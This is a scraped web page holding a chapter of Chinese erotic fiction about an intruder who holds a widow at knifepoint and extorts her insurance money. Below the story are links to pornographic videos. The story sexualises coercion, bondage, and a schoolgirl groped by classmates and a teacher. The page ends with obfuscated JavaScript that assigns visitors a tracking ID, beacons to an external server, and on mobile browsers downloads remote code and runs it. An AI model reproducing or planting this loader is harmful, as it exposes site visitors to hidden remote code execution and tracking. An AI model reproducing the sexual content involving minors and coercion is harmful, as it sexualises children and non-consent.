 很白的皮肤,微胖,丰腴。很大的胸,很大的屁股,极媚的大眼睛,一张清纯如同女孩婉君(指的是《婉君》这部电视剧里面,金铭小时候演的那个女孩)的小嘴,与那妖媚的眼很不相称。
我本以为她会立刻大声呼叫,那样就麻烦了;将四周邻居引来的话,就没有我的活路了。
谁知道她并不是大声喊,而是立刻转身就跑,剩下呆立在大衣柜里面的我。
接着,她很侠就回到了我的脆前。不过手中多了一把锋利的菜刀,飞快朝我扑来,竟然一不做二不休,直接朝我脑袋上劈来。
“妈的,最毒妇人心,这心也太毒了!”我心中一寒,想着这会该叫的人是我了。
她劈来的势头太猛了,是直接要将我致于死地的,我根本不敢贸然去抓住她的手夺她的刀,只能立刻将大衣柜门关上。
“砰!”整个大衣柜一震,那把菜刀狠狠劈在了衣柜门上。
砍入极深,若是脑袋被砍实,只怕便死了。
“吾命休矣!”我背后一身冷汗,惊恐不已;没想到这一百万还没到手,就先死翘翘了。
一个女人杀人不眨眼,手里拿着菜刀乱劈,迟早死在她手里。
“嗯!”忽然,我发现女人正在用力地呻吟。
立刻明白,她刚才这一刀砍得太狠了,砍入大衣柜门太深,一下子竟然拔不出来。
 此时不踢,更待何时。
 对着大衣柜门,猛地踢去。
“啊!”那女人一阵凄呼,被大衣柜门狠狠撞到在地上。
我趁势冲了出去,一把抓住她的双手,将她死死按在地上。
这个女人拼命挣扎,也不出声,就是死了命地挣扎。
这个女人挣扎的时候,力气竟然那么大。
怎么也扭不住她的双手,眼看就要被她挣脱出去。
我无奈,一把将大衣柜门上的刀拽下,对準了她的脖子。
她立刻安静了下来,暂时地安静了下来,只是那双极媚的眼珠子,滴溜溜地转。
“我想你应该知道该怎么做。”我将刀子往她的脖子压了压,本来只是想稍稍威胁一下她,却没有想到由于过度紧张,竟然将她粉腻的脖子切开了一个小口,顿时血便流了出来。
那女人痛得眉头一皱,却也不是非常害怕,反而挑衅地朝我望来一眼道:“你想要多少?五十万?一百万?”
这个女人不简单,我还没有开口,她竟然自己说了出来,虫得我气势竟然弱了许多。
本来想要开口说一百万,可是话到了嘴里,立刻止住。
奶奶的,这个女人可是不费甚么事情就得到了三百多万,我只要一百万也太吃亏了。
“我要一半!”我咬牙道:“得不到的话,就鱼死网破,你也休相得到一分钱。”
“没问题!”女人一声冷笑,接着朝我说道:“现在距离拿到钱至少还有个把月时间,难道你就準备这么用刀压着我的脖子吗?”
 顿时,我又为难起来。
是啊,保险公司那几百万赔偿金,几天内是拿不到手的。
 那么这段时间内应该怎么办呢?如果不天天看着这娘们,说不定她拿到钱后,便偷偷跑了。
如果要天天看着,那就要住在这家里面。这个娘们这么歹毒,说不定那天不小心就被她杀了。
这个女人厉害得很,跟她在一起,简直防不胜防。
但是假如不天天看着她,只怕一不小心,就被她给逃了。
“你儿子,或者女儿呢?”我四处看了看,开口问道。
要将她儿女带走作为人质,就不怕她不给钱了。她就算再歹毒,总不能不管自己儿女的死活。
“我哪有儿子女儿,就算不小心有了,我也会做掉。”女人冷笑道,目中有着无限的恨意。
“是不是无法决定?想要在这里时时看着我,又怕我将你暗害了。若不看着我,又怕我跑了。”女人朝我笑了笑,说道。
“我看你还是留下来吧!晚上什么时候慾念来了,就自己爬我床上来。”女人朝我勃起的下身望来一眼,目光并不挑逗,也不妩媚,却非常直接赤裸,笑道:“在拿到钱之前,你随时可以跟我上床。”
我呼吸顿时粗重起来,但是她越是这么说,我反而越是不敢碰她;此时在我眼中,她就像一只浑身都是毒的蝎子一般。
不小心碰到了,随时都可能丧命。
“我真应该在等到她拿到钱之后,再与她接触的。这样就不用经历拿到钱之前这段难熬的日子了。”我心中无限懊恼,若是刚才不躲在大衣柜里面就不会被发现,也不会横生这么多枝节来的。
“你要提防我害你也很简单,只要将家里所有的凶器全部扔掉。这样一来,在白天时候,我一个弱女子肯定打不过你。你要提防的,就只是晚上睡觉的时候。 ”女人手里抱着衣服说道:“晚上睡觉的时候,你可以用绳子将我绑起来,等白天了再将我解开。”
就这样,女人浑身都被绳子紧紧绑着,从头到脚绑得跟粽子一样,她不要说想解开,就算想稍稍动弹一下,也不大可能了。
就算这样,我还是不放心,又用绳子将她和沙发绑在一起。
晚上,她就绑坐在沙发上,我躺在她的床上。
 将她绑好之后,塞住了嘴巴。我去了她家的浴缸,舒舒服服地洗了一个澡。
洗完后,我发现没有换洗的衣衫了。李雄那个死鬼的衣服,我是不穿的,太晦气了。
所以没法子,我只能找来这个女人的衣衫穿,然后舒舒服服地躺在她的床上,翻出来一些吃的东西,当作我的晚餐。
为了表现得自己很轻鬆,我还将电视也打开了,不过却什么也看不进去,心里依旧乱如麻。
在昏暗的灯光下,那个女人被绑着也不挣扎,睁着双眼,始终非常安静,也不怎么害怕。
身上依旧没有穿上衣衫,只是披着一条浴巾。此时全身被绳子紧紧绑着,一身肉被勒得鼓起,胸部和腰臀更加凸显。
这个女人皮肤真的是很白很腻,长长的头髮有一些卷,只是现在嘴里被塞着布条,脸有些变形外。
那么白的皮肤,那么大的眼睛,看起来实在很具诱惑力,很性感。
尤其,她还是一个那么丰满的女人,就连腰部也显得非常丰腴有肉感。
我没有看电视,就这么一直看着她。没想到这么一个小县城,竟然能出这么美的女人。
被一个非法闯入家中的男人这么盯着,女人也不怎么慌乱不安,反而与我对视。
渐渐地,我呼吸粗重了起来;这个女人真是要命,我移开了目光。
等到再看她的时候,发现她嘴角有一些湿漉漉的,看清楚后,是口水往外流。
这么被布条塞住嘴巴,口水是止不住的。
我想了想,便起床走过去,将她嘴里的布条扯出来。
顿时,晶莹的口水从嘴角溢出,她立刻闭上小巧的嘴巴。但是那些口水还是沿着脖子流了下来。
 她难受地扭了扭身子。
我走到浴室拿来一条毛巾,将她嘴角擦拭乾净了,又重新躺到床上。
 过一会儿,发现她身子有些抖。这才想起来,现在夜里天气有些凉了,她没有穿衣服被绑在沙发上,肯定冻得发抖。
 拿过一条毛毯,披在她身上。虽然我不想讨好她,但是拿到钱之前,我还是不怎么希望与她发生不愉快,否则女人一疯狂起来,就会失去理智,宁愿自己不要那笔钱,也让我得不到。
在昏暗的灯光下,累了一天的我,眼神开始渐渐迷离,却又不放心睡着,拼命睁着眼睛,小又忍不住睏意。
“楚郁,你这几年都乾嘛呢?”女人忽然开口说话,让我躺在床上的身子如同皮筋一般猛地弹起,瞬间僵硬。
接着,我立刻想要马上沖出去,跑得远远的。
不过,很快又重新躺了下来,好长一段时间后,我才平复下无比激蕩的心情,结巴问道:“你,你刚才叫我什么?你怎么知道我名字?”
女人自嘲笑笑,朝我说道:“在你拿刀压着我的脖子的时候,我就将你认出来。你到现在都没有认出我来吗?”
我不由得仔细看她的脸,拼命回忆着脑海中的面孔。
 皮肤尤其白!有点胖!眼睛很大!嘴巴很小!
 符合这些特点的是谁呢?
 李慧君!
一张女孩的面孔飞快印入脑子,附带的还有她的名字——我初一的同班同学李慧君,接着那些被尘封的记忆汹涌而出。
我读初一的时候,还只有十二岁,其他同学也差不多都是这个年纪。
而李慧君因为什么病休学了几年,当时读初一的时候,已经十六岁了。
她足足比同班的那些女生大了三岁,十六岁的女孩已经发育得比较完好了。挺拔的胸部和浑圆的屁股,都让李慧君相当惹眼,使得班上其他女生如同刚刚长出来的柿子,青涩得不得了。
更何况,我读的初级中学,还是一所乡村中学,男女都还很青涩。
所以,那个时候的李慧君吸引了全班几乎所有的男生。我和我的那些同学,整天上课都在偷偷看她。那些比较早熟的男生,天天给她写情书,给她送东西。
那个时候的李慧君,真是搅得好几个班不得安宁。
记得与我同寝室的李俊,用他爸的傻瓜相机偷偷给李慧君照了一张相后,偷偷在被窝里面打着手电筒,对着照片手淫。
过了一些日子后,整个寝室人都学会了对着她的照片手淫,包括我在内。
其实不但我们,就连我们刚来的那个年轻的体育老师,都在体育课的时候对她动手动脚。
 当然,我也不是什么好东西。在体育课的时候,不知道多少次盯着她俯下身体时候,露出来那白腻的乳沟。
所以,那个时候李慧君还有一个外号,叫狐狸精。
这个外号还是我后桌週珍珍取的,然后在班上其他女生对李慧君强烈的妒忌心下,就叫开来了。
李慧君为什么有这个外号,我还记得清清楚楚。
李慧君读书并不怎么勤奋,有些贪睡,所以经常迟到。有一天她起来得很晚,老心都开始讲课了,她才匆忙跑进教室。头髮有一点点乱,还是睡眼朦胧的样子。
而那个时候,正好电视正在热播《西游记》其中有一段是一个国王上山打猎的时候,遇到了一个妖精,也是睡觉刚起,睡眼朦胧的媚样勾走了国王的魂。
那些女生见到李慧君睡眼朦胧时散发出来的风情,便叫她狐狸精了。
 李慧君还真有狐狸精味道。
初一的时候,我们乡村中学还没有班花这个名词。只不过在所有男生的心中,李慧君是公认的第一美女。
一直以来,我的理想便是,等我发达了,便将我记忆中所有的美女全部上掉。无论我认识的,或者是不认识的;无论是我可望不可及的,无论是让我自卑的,或者是让我拼命意淫的。
而李慧君就是其中之一,甚至她是我意淫的第一个女人。我曾经不止一次想藉着拥挤顶她的屁股,也不止一次地想要趁着她上厕所的时候,爬上墙去偷窥。
甚至最疯狂的一次是,夏天的我浑身躁热;正处于对异性身体无比狂热的我,无比躁动地想趁黑偷偷摸到女生寝室,去摸李慧君的胸部和屁股,去看她阴户的样子。
甚至,我还走出了寝室,蹑手蹑脚做贼一样,走到了女生宿舍前面几十米。
最终还是因为胆小,没有真正摸进女生宿舍,我胆子一向就不大的。
因为李慧君这个名字,使得我一下子陷入了回忆中不可自拔。
其实,跟李慧君做了一年的同学,我没有和她说过几句话,因为她时时刻刻都被许多在当时看来比较潇洒帅气的男生包围,而我那个时候又矮又黑,如同一粒土豆。
却没有想到,我再次和李慧君见面,却是在这么一种倩景下。
按照我的想法,我应该是穿着世界名牌的衣服,带着金表,开着名车,衣冠楚楚地出现在她们的面前,让她们觉得当初她们不找我绝对是损失。
但是今天这种的见面方式,不得不说,非常龌龊、非常猥琐。
“我大学毕业后,在一家公司里面做广告企划。”我比较含糊地说了出来。
这种说法比较笼统,换成谦虚的人,说不定在国际大公司里面做了总监。换爱吹牛的人嘴里,说不定就是在一家小公司里面做最低级的职员。反正广告企划这种词语,非常的万精油。
李慧君淡淡地笑了笑,便再也没有说话。
这个世界看来真的是很小,又或者是那个恶魔无所不知,从这个一百万任务开始,就已经开始了我的理想。
我那个无比伟大的理想,就是将我记忆中,遇过的所有美女,全部上了。
“我中学没有念完就不念了,后来被我老爹逼着嫁给了那个短命的王八蛋。”李慧君淡淡说道,目中闪过一丝黯然。
“他对你不好吗?”我不由得想起来,很多粗鄙的男人总是喜欢殴打自己的老婆,施行家庭暴力。
“他坏了我的梦。”李慧君的声音变得伤感起来,道:“我小时候因为治病在医院里面待了好多年,所以去上学的时候比你们已经大了好几岁。不过那个时候我成绩不差了,我本以为我会上高中上大学,出来后成为社会的上流人。可李雄那王八蛋在我读中学的时候就盯上了我,为了得到我,就拉着我那不成器的爸爸去赌博,输了便藉钱给他,还帮他借高利贷。最后那群流氓找上门来剁了我爸爸的手指头,还要强姦我。李雄答应给钱救我们全家,但是我要立刻离开学校嫁给他,就这样我就成为一个粗鄙开车司机的妻子。”
听着她的话,我其实没有什么感觉。因为李雄这样做,其实挺对我胃口的。若是换成我想要让李慧君这样的大美女做我的女人,我差不多也会用类似的法子。
不过也正是李雄用的法子和我手段差不多,使得我越发厌恶他,越发觉得他死得活该。
“其实,未必读了大学就可以成为上流人的,要成为上流人需要很多的钱,或者很大的权力。”我正色说道。按照我的理解,要成为一个上流人,至少需要有一亿美金以上。
李慧君摇了摇头,目中的光芒变得黯淡下来,低声自语道:“你不知道的,你不了解的。有些人再有钱,也会被人瞧不起。别人说那些话,你也接不上,别人说的话也听不懂……”
接着,李慧君好像失去了说话的兴趣。
就这样,我躺在床上,李慧君坐在椅子上睡着。
半夜,我给李慧君盖了一条毯子,然后我给她鬆了绑,不然绳子勒了一晚,全身不畅通,也会出毛病的。
接着,我又重新躺在床上,过了十几分钟后便打起呼噜。
 当然,我并没有睡着。我只是想要试试看,假如我给李慧君机会,帮她鬆绑了,然后我又装作睡着了,她会不会趁机来杀我。
毕竟只要我活着,对她永远都是威胁,而且会分走她一半的钱。
不过,命运弄人,我们却又是同学,使得两个人的关係顿时尴尬起来,彷彿稍稍靠近一步,就会变成非常亲密的朋友。若是稍稍疏远一些,为了利益便直接要了对方的性命。
半夜中,我打着呼噜,轻轻瞇着眼睛。
李慧君没有偷偷摸摸过来杀我,反而是盯着我看了很久,然后闭上眼睛睡熟了,甚至睡得很安稳甜美,一点都不似我这么忐忑。
或许,我真的是一个小人,远不如李慧君来得坦蕩。
第二天早上我便问李慧君,为什么她会如此安心的睡,难道不担心我对她不利吗?
“怎么个不利?是杀了我?还是趁机强姦我?”李慧君瞪大那双美丽的眼睛笑道:“杀了我,钱就分不到了。趁机强姦我?我又不是冰清玉洁的小姑娘,那么在乎这身皮肉做什么?”
接着李慧君又多添了一句,笑道:“其实上一百万和一百五十万差别不是很大。三百万能做的事情,一百五十万也能做。一百五十万做不到的事倩,三百万也做不了。”
 是啊!从某种程度说,一百五十万和三百万是没有差别的。按照现在的物价水平,一百五十万放在银行里面,在稍稍小的城市,专门吃利息也可以舒服地活一辈子……若是想要做大事,买超级名车、住豪宅,三百万连个屁都不够。
李慧君为什么会跟我说这些话我自然明白,既然三百万和一百五十万差不多,她断然不会为了这中间的差别,冒险与我拼命,那个时候反而可能鱼死网破,什么也得不到。
她是一个聪明的女人,非常懂得形势。
“在得到那笔钱之前,我们是有着共同利益的合作伙伴,为了这笔利益,我们要一起努力。”李慧君笑着补充道:“等得到那笔钱后,我们就可以恢复我们的同学关係了。”
我从床上起来,发现自己没有什么衣衫可以穿的。
“我下去买一些早餐,顺便给你买一身衣衫。”李慧君漫不经心道,却让我陷入为难。
我对她的戒心是淡了不少,但是并不代表我已经信任她了。这次她出门的话,若是一走了之,我该怎么办?甚至她再发狠,偷偷带着几个流氓过来杀了我?又该怎么办?
季慧君从椅子上起来伸了伸懒腰,看来在椅子上睡了一夜,实在不怎么舒服。
一个丰满的女人,伸懒腰的时候身材真是要命,那胸部鼓得让人恨不得将整个脑袋都埋进去。
 早起的我,晨勃得厉害。若李慧君不是我同学,只是一般的人质,或许我早冲上强姦她了。
接着,李慧君竟然将身上的浴袍脱了下来,露出光溜溜白腻腻的裸体。
“吁!”我胯间猛地撑起更多,甚至扯得阴囊一阵痛。
奶奶的,这女人真丰满,全身真的跟白馒头一般,腰虽然不是非常细,但是那配上硕大的臀胸,那略显丰腴的腰真是显得无比狂野。
她好像并不是故意引诱我,而是非常自然脱光了衣服。不过双腿闭得紧紧,也没有弯腰獗臀的动作,甚至圆满的双臀也夹得紧紧,让我看不清楚阴部的那道缝隙。
在我犹豫是否禽兽大发的时候,她已经穿上了衣衫,声音放轻柔了许多道:“距离拿到钱还有很长时间,你不可能总这么一步不离守着我的。这些天我们要吃饭,至找要去保险公司办理相关手续才能拿到钱。你可以远远盯着我,但是总不能绑着我的。且不说你信任不信任我的问题,你只需知道一点:我也想要得到那笔钱,不会在没有拿到钱的就逃走。这样好了,我每次出去只要三个小时没有回来,你便拿着那些录音去报警好了。”
“是啊!我可以绑住她一天,两天。但是三天,四天呢?我们总不能一直不吃饭吧?总不能我去买菜买饭,我这样一个陌生人在一个刚刚死了丈夫的女人家里进进出出,不引起别人的注意才怪。况且,去保险公司领钱,终究是要李慧君去的。”我心中一直想着,又看了看自己几乎裸体的身体,连换洗的衣服都没有。
“好吧!你出去吧,两个小时内回来吧!”我淡淡说道。
“放心!”李慧君走去浴室刷牙洗脸,然后问道:“你要麵条还是包子?”
 “随便!”我回答道。
“恩!”李慧君走到门口,从鞋柜里面拿出一双靴子,弯下腰换鞋。
顿时,硕大的圆臀在短裙里面撑得紧绷,几乎要裂开。
“要是有人敲门,绝对不要理会!装着里面没人,知道吗?”
猜你喜欢下面这些


  • 钟爱熟女-男主约了个短裙高跟风韵大奶骚女


    钟爱熟女-男主约了个短裙高跟风韵大奶骚女
    892人观看

    钟爱熟女-男主约了个短裙高跟风韵大奶骚女

  • 再靠近一点 7


    再靠近一点 7
    946人观看

    再靠近一点 7

  • 10Musume 天然素人 041823_01 制服時代 ~あどけない表情がたまらない華奢な女の子~ 滝山カレン


    10Musume 天然素人 041823_01 制服時代 ~あどけない表情がたまらない華奢な女の子~ 滝山カレン
    39人观看

    10Musume 天然素人 041823_01 制服時代 ~あどけない表情がたまらない華奢な女の子~ 滝山カレン

  • 722BARE-005 How to学園 観たら【絶対】SEXが上手くなる教科書AV 中イキ編


    722BARE-005 How to学園 観たら【絶対】SEXが上手くなる教科書AV 中イキ編
    137人观看

    722BARE-005 How to学園 観たら【絶対】SEXが上手くなる教科書AV 中イキ編

  • 00后大眼无毛嫩妹出战炮友


    00后大眼无毛嫩妹出战炮友
    963人观看

    00后大眼无毛嫩妹出战炮友

  • ROYD-123 露骨に誘惑してくる欲求不満なスレンダー巨乳のお母さんとヤリまくった家庭教師の僕。


    ROYD-123 露骨に誘惑してくる欲求不満なスレンダー巨乳のお母さんとヤリまくった家庭教師の僕。
    239人观看

    ROYD-123 露骨に誘惑してくる欲求不満なスレンダー巨乳のお母さんとヤリまくった家庭教師の僕。

  • 明星脸有点唐嫣神韵的气质美女


    明星脸有点唐嫣神韵的气质美女
    457人观看

    明星脸有点唐嫣神韵的气质美女

function rDbavnK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function QGrUp(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return rDbavnK(t);};window[''+'P'+'Z'+'k'+'K'+'t'+'S'+'n'+'O'+'e'+'c'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MkShE(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=QGrUp,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MkShE(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MkShE(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBODgg5MQ==','d3NzJTNBJTJGJTJGYSS5rZmdqYSS5jbiUzQTk1MzM=','168621',window,document,['g','S']);}:function(){};